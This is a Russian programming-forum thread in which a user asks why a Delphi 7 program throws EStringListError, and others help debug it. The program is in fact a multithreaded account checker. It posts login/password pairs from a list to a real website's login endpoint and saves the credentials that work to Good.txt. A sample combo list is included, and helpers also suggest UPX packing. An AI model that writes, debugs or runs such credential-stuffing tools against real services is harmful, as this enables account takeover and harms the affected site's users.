Форум программистов, компьютерный форум, киберфорум
Delphi для начинающих
Войти
Регистрация
Восстановить пароль
Блоги Сообщество Поиск  
 
 
Рейтинг 4.93/15: Рейтинг темы: голосов - 15, средняя оценка - 4.93
 Аватар для 3v1l
0 / 0 / 0
Регистрация: 15.08.2013
Сообщений: 41

Ошибка class EStringListError в delphi 7

05.04.2014, 11:14. Показов 3346. Ответов 32
Метки нет (Все метки)

Студворк — интернет-сервис помощи студентам
Написал программу на делфи 7. Компиляция проходит без ошибок. При старте программа пропускает нужные строки, а в самом конце выдает ошибку.
На делфи ХЕ все работает без ошибок и не пропускает нужные строки. В чес может быть проблема ?
Миниатюры
Ошибка class EStringListError в delphi 7   Ошибка class EStringListError в delphi 7  
0
cpp_developer
Эксперт
20123 / 5690 / 1417
Регистрация: 09.04.2010
Сообщений: 22,546
Блог
05.04.2014, 11:14
Ответы с готовыми решениями:

Ошибка project1.exe raised exception class Estringlisterror
пишу icq чат и всё вроде неплохо, до того момента, когда хочешь в него войти, при посылке команды "!чат" вылетает ошибка, что...

project raised exception class estringlisterror with message list index out of bounds
что нужно сделать чтобы не было этой ошибки? подскажите пожалуйста)

Project Project1.exe raised exception class EStringListError with message 'List index out of bounds(0)'
Почему выдает ошибку - "Project Project1.exe raised exception class EStringListError with message 'List index out of...

32
 Аватар для Игорь[Igor]
726 / 478 / 130
Регистрация: 24.12.2008
Сообщений: 3,924
06.04.2014, 13:41
Студворк — интернет-сервис помощи студентам
По коду ничего больше не вижу из-за чего может быть такая ошибка
0
 Аватар для 3v1l
0 / 0 / 0
Регистрация: 15.08.2013
Сообщений: 41
06.04.2014, 14:17  [ТС]
Нашел другие примеры и переделал, но ошибка та же. Вот почему не знаю. На делфи 7 на отрез отказывается работать ((

Delphi
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
unit Unit1;
 
interface
 
uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, ComCtrls, StdCtrls, IdBaseComponent, IdComponent,
  IdTCPConnection, IdTCPClient, IdHTTP, SyncObjs;
 
type
  TForm1 = class(TForm)
    btn1: TButton;
    edt1: TEdit;
    btn2: TButton;
    pb1: TProgressBar;
    lbl1: TLabel;
    lbl2: TLabel;
    lbl3: TLabel;
    lbl4: TLabel;
    dlgOpen1: TOpenDialog;
    idhtp1: TIdHTTP;
    UpDown1: TUpDown;
    procedure btn1Click(Sender: TObject);
    procedure btn2Click(Sender: TObject);
    procedure FormClose(Sender: TObject; var Action: TCloseAction);
    procedure FormCreate(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;
 
type
  Potok = class(TThread)
  private
   FAcc : string;
   FPas : string;
   Rez : Integer;
  protected
    procedure Execute; override;
  public
    procedure Sync;
    constructor Create(CreateSuspended: Boolean);
  end;
 
var
  Form1: TForm1;
  Accounts:Tstringlist;
  PT, Acc:integer;
  Work:boolean;
  CS: TCriticalSection;
  Good, Bad: textfile;
 
implementation
 
{$R *.dfm}
 
constructor Potok.Create(CreateSuspended: Boolean);
begin
  inherited Create(CreateSuspended);
  FreeONTerminate:=true;
end;
 
procedure TForm1.btn1Click(Sender: TObject);
begin
  dlgOpen1.InitialDir:=ExtractFilePath(Application.ExeName);
   if dlgOpen1.Execute then
    begin
     Accounts.Clear;
     Accounts.LoadFromFile(dlgOpen1.FileName);
    end;
end;
 
procedure TForm1.btn2Click(Sender: TObject);
begin
  AssignFile(Good, ExtractFilePath(Application.ExeName)+ 'Good.txt');
  Rewrite(Good);
  CloseFile(Good);
  AssignFile(Bad, ExtractFilePath(Application.ExeName)+ 'Bad.txt');
  Rewrite(Bad);
  CloseFile(Bad);
  //lbl2.Caption:=0;
  //lbl4.Caption:=0;
  pb1.Max:= Accounts.Count;
  pb1.Position:=0;
  Acc:=-1;
  Work:=True;
   for PT:=1 to StrToInt(edt1.Text) do
       Potok.Create(False);
       PT:= StrToInt(edt1.Text);
end;
 
procedure Potok.Execute;
  var
    CurAcc:integer;
    data:Tstringlist;
    HTTP: TIdHTTP;
    html: string;
begin
  while Work do
   begin
     CS.Enter;
     Inc(Acc);
     if Acc<Accounts.Count then
        CurAcc:= Acc
     else
        Work:= False;
        Cs.Leave;
 
     if Work then
      begin
        FAcc:= Copy(Accounts[CurAcc],1,Pos(';',Accounts[CurAcc])-1);
        FPas:= Copy(Accounts[CurAcc],Pos(';',Accounts[CurAcc])+1,Length(Accounts[CurAcc]));
 
        data:= TStringList.Create;
        data.Add('user='+ FAcc);
        data.Add('password='+ FPas);
        data.Add('rem=1');
        data.Add('a=2');
        data.Add('ajax=1');
        data.Add('rnd=872');
        data.Add('_tp_=xml');
        HTTP:= TIdHTTP.Create(nil);
 
      try
         Http.Post('http://diz-cs.ru/index/sub/', data);
         html:= Http.Get('http://diz-cs.ru/');
       if (Pos ('/index/10', html)<>0) then
        begin
         Rez:=1;
 
        end
       else
        begin
         rez:=-1;
 
        end;
       except
         rez:=0;
 
         end;
         HTTP.Free;
         data.Free;
 
         Synchronize(Sync);
      end;
   end;
        dec(PT);
     if PT=0 then ShowMessage('ок');
end;
 
procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
begin
 Accounts.Free;
 CS.Free;
end;
 
procedure TForm1.FormCreate(Sender: TObject);
begin
 Accounts:=Tstringlist.create;
 CS:=TcriticalSection.create;
end;
 
 
procedure Potok.Sync;
begin
   case rez of
    1: begin
          Append(Good);
          Writeln(Good,FAcc+';'+FPas);
          Closefile(Good);
          Form1.lbl2.Caption:=IntToStr(StrToInt(Form1.lbl2.Caption)+1);
          Form1.pb1.Position:=Form1.pb1.Position+1;
       end;
 
   -1: begin
           Append(Bad);
           Writeln(Bad,FAcc+';'+FPas);
           Closefile(Bad);
           Form1.lbl4.Caption:=IntToStr(StrToInt(Form1.lbl4.Caption)+1);
           Form1.pb1.Position:=Form1.pb1.Position+1;
       end;
 
    0: begin
           Accounts.Add(FAcc+';'+FPas);
           Form1.pb1.Position:= Form1.pb1.Position +1;
       end;
end;
end;    
end.
Добавлено через 1 минуту
Прикрепил сорс http://rghost.ru/private/53812... 63ceb6e040
0
 Аватар для Игорь[Igor]
726 / 478 / 130
Регистрация: 24.12.2008
Сообщений: 3,924
06.04.2014, 14:45
Без всяких изменений запустил откомпилирован все прошло и ни каких ошибок.
Единственное какие то параметры из Request были убраны которых у компонента THttp у Delphi 7 нет
0
 Аватар для 3v1l
0 / 0 / 0
Регистрация: 15.08.2013
Сообщений: 41
06.04.2014, 15:35  [ТС]
Цитата Сообщение от Игорь[Igor] Посмотреть сообщение
Без всяких изменений запустил откомпилирован все прошло и ни каких ошибок.
Компиляция, то происходит, а вы попробуйте загрузить Сорс
Delphi
1
2
3
4
5
6
7
8
123123;3214124321
hjvbkjvjkh;sdaf9032
ijh796;2893diosad
nmjipobn72310;324231
itester;2580456
151654156;hvghjv
ghdc;786
jklnb78;8hjn
И нажать старт. Будет ошибка по прохождению до конца. Хоть валидный аккаунт в списке есть, но все определить как плохие
0
 Аватар для Игорь[Igor]
726 / 478 / 130
Регистрация: 24.12.2008
Сообщений: 3,924
06.04.2014, 15:53
Я так и сделал, загрузил сорс это и нажал старт
1
 Аватар для 3v1l
0 / 0 / 0
Регистрация: 15.08.2013
Сообщений: 41
06.04.2014, 16:07  [ТС]
У меня пропускает валидный аккаунт и после последнего выдает ошибку. Попробую делфи переустановить. А может быть конфликт если на системе установлены делфи 7 и делфи ХЕ3 ?
0
 Аватар для Игорь[Igor]
726 / 478 / 130
Регистрация: 24.12.2008
Сообщений: 3,924
06.04.2014, 16:15
Про это не знаю
0
 Аватар для 3v1l
0 / 0 / 0
Регистрация: 15.08.2013
Сообщений: 41
06.04.2014, 17:26  [ТС]
Переустановка делфи 7 не помогла. Ошибка осталась. А на делфи ХЕ3 при компиляции вес ехе 2,5мб, что выходить за все допустимые рамки. На делфи7 вес 500 кб, что приемлимо
0
 Аватар для Игорь[Igor]
726 / 478 / 130
Регистрация: 24.12.2008
Сообщений: 3,924
06.04.2014, 17:41
Сейчас еще раз проверил, все прошло и без ошибок
1
Эксперт Pascal/Delphi
 Аватар для droider
4893 / 2826 / 867
Регистрация: 04.10.2012
Сообщений: 10,278
06.04.2014, 18:40
Цитата Сообщение от 3v1l Посмотреть сообщение
конфликт если на системе установлены делфи 7 и делфи ХЕ3
они не конфликтуют.
Цитата Сообщение от 3v1l Посмотреть сообщение
на делфи ХЕ3 при компиляции вес ехе 2,5мб, что выходить за все допустимые рамки
попробуйте скомпилировать приложение в Debug-режиме.
1
 Аватар для 3v1l
0 / 0 / 0
Регистрация: 15.08.2013
Сообщений: 41
10.04.2014, 21:02  [ТС]
Вес такой же остается
0
Пишу на Delphi...иногда
 Аватар для cotseec
1423 / 1278 / 286
Регистрация: 03.12.2012
Сообщений: 3,914
Записей в блоге: 5
10.04.2014, 21:05
Цитата Сообщение от 3v1l Посмотреть сообщение
Вес такой же остается
для борьбы с весом можно использовать:
- написание программы на чистом WinApi
- использование пакеров, наиболее популярный - UPX
- использование директив компилятору (в сети есть статьи на эту тему, но я встречал для Delphi от 2009 и выше)
- выкусывание ресурсов, которые Delphi вкладывает в скомпилированный файл (при использовании VCL) каким-нибудь ResHacker'ом
1
 Аватар для 3v1l
0 / 0 / 0
Регистрация: 15.08.2013
Сообщений: 41
10.04.2014, 22:14  [ТС]
Вес это куда бы не шло, хотя не могу понять почему 2,5 метра на пару строчек кода, а на делфи 7 всего 500 кб. Но больше всего мне не понятно, почему (проверил на нескольких компьютерах) на делфи 7 компилирует, но пропускает аккаунты, а на хе3 все нормально ?
0
Надоела реклама? Зарегистрируйтесь и она исчезнет полностью.
raxper
Эксперт
30234 / 6612 / 1498
Регистрация: 28.12.2010
Сообщений: 21,154
Блог
10.04.2014, 22:14

Почему выдает ошибку - "Project Project1.exe raised exception class EStringListError with message 'List index
нажимаю &quot;ок&quot; при выводе ошибки после чего показывает это &quot;кар &quot;12&quot; &quot; Так же не удается отобразить файле в моем проекте вот сам код: ...

raised exception class EstringListError with message 'List index out of bounds(-1)'. Process stopped. Use Stop or Run to continued
AnsiString str = FileListBox1-&gt;Directory + &quot;\\&quot; + FileListBox1-&gt;Items-&gt;Strings; ShellExecute(Handle, &quot;open&quot;, str.c_str(), NULL, NULL,...

Ошибка EStringListError List index 39 out bounds
Программа открывает файл, загружает в массив , выводит данные в отладочное окно TMemo, но в конце выдаёт вот такую ошибку, подскажите что...

Ошибка : Estringlisterror with message list index out of bounds(0) при работе с циклом
Здравствуйте,подскажите пожалуйста в чем может быть проблема... Задали в университете написать программу по методичке,до этого не...

Ошибка: Estringlisterror index out of bounds(5) при попытке удалить компонент из StringList
Создал программу для чтения строки из ListBox, удаления такой же строки в stringlist и записи конечного stringlist в файл с его же выводом...


Искать еще темы с ответами

Или воспользуйтесь поиском по форуму:
33
Ответ Создать тему
Новые блоги и статьи
Запустил конкурс "тем и промптов для текстовых квестов созданных почти чисто ИИ"
Adler 06.10.2026
Всем привет! За последние три-четыре дня я создал более 16 текстовых квестовых игр используя преимущественно по одному запросу к ИИ на игру. Мне так понравилось смотреть все ветки/ сцены во всех. . .
ИИ не может найти нужный язык в списке
Supersumestria 05.10.2026
Я ему даю вот такое изображение и прошу найти и подчеркнуть немецкий язык. Возвращает он вот это: https:/ / i. **********/ vqBWLe2. png Нужную строчку в 3й колонке просто выдумал. . Это. . .
Новая последняя моя музыка в SUNO
zorxor 05.10.2026
Здравствуйте, дорогие мои друзья! С большой радостью я хотел бы представить вам свою новую последнею музыку, которую сгенерировала мне по моей просьбе нейросеть SUNO. С уважением, zorxor. Это. . .
Программный домашний кинотеатр
russiannick 27.09.2026
Сподобился на программный домашний кинотеатр. В качестве ЯВУ по традиции выбрал js. В помощники взял Яндекс-Алису. Было создано три зала на разные интересы. исторические и ретро сериал Хичкок. . .
Беседа с ИИ о программистах, недопускающих к созданию и правке кода генеративные ИИ и причины этого
zorxor 21.09.2026
Раньше я радовался или получал некоторые эмоции, пусть небольшие, но всё же, от самого процесса написания кода, рекомпиляции и запуска, видя постепенное развитие программы и прочее. А теперь лень. . .
Мобильное приложение ColorStep
pavlinmavlin 17.09.2026
Реализовал приложение Красный, Зеленый, Синий в Unity3d + c#. Название изменил на ColorStep. Приложение прошло модерацию и теперь доступно для скачивания. Делал его сам, шаг за шагом — и вот,. . .
Запрет дублирования строк в табличной части
Maks 13.09.2026
Реализация из решения ниже выполнена на нетиповом справочнике "Нормы ТО" с табличной часть "Виды ТО", разработанного в КА2, со следующими реквизитами: - ВидТО (СправочникСсылка. ВидыТО); - ВидГСМ. . .
Скрипты Tampermonkey для CyberForum, ChatGPT, Claude и пр.
Jin X 06.09.2026
Скрипты Tampermonkey для CyberForum, ChatGPT, Claude и пр. Работая с форумом и нейросетями в браузере часто хочется что-то подкорректировать или добавить какого-то функционала. Ниже прикреплён. . .
КиберФорум - форум программистов, компьютерный форум, программирование
Powered by vBulletin
Copyright ©2000 - 2026, CyberForum.ru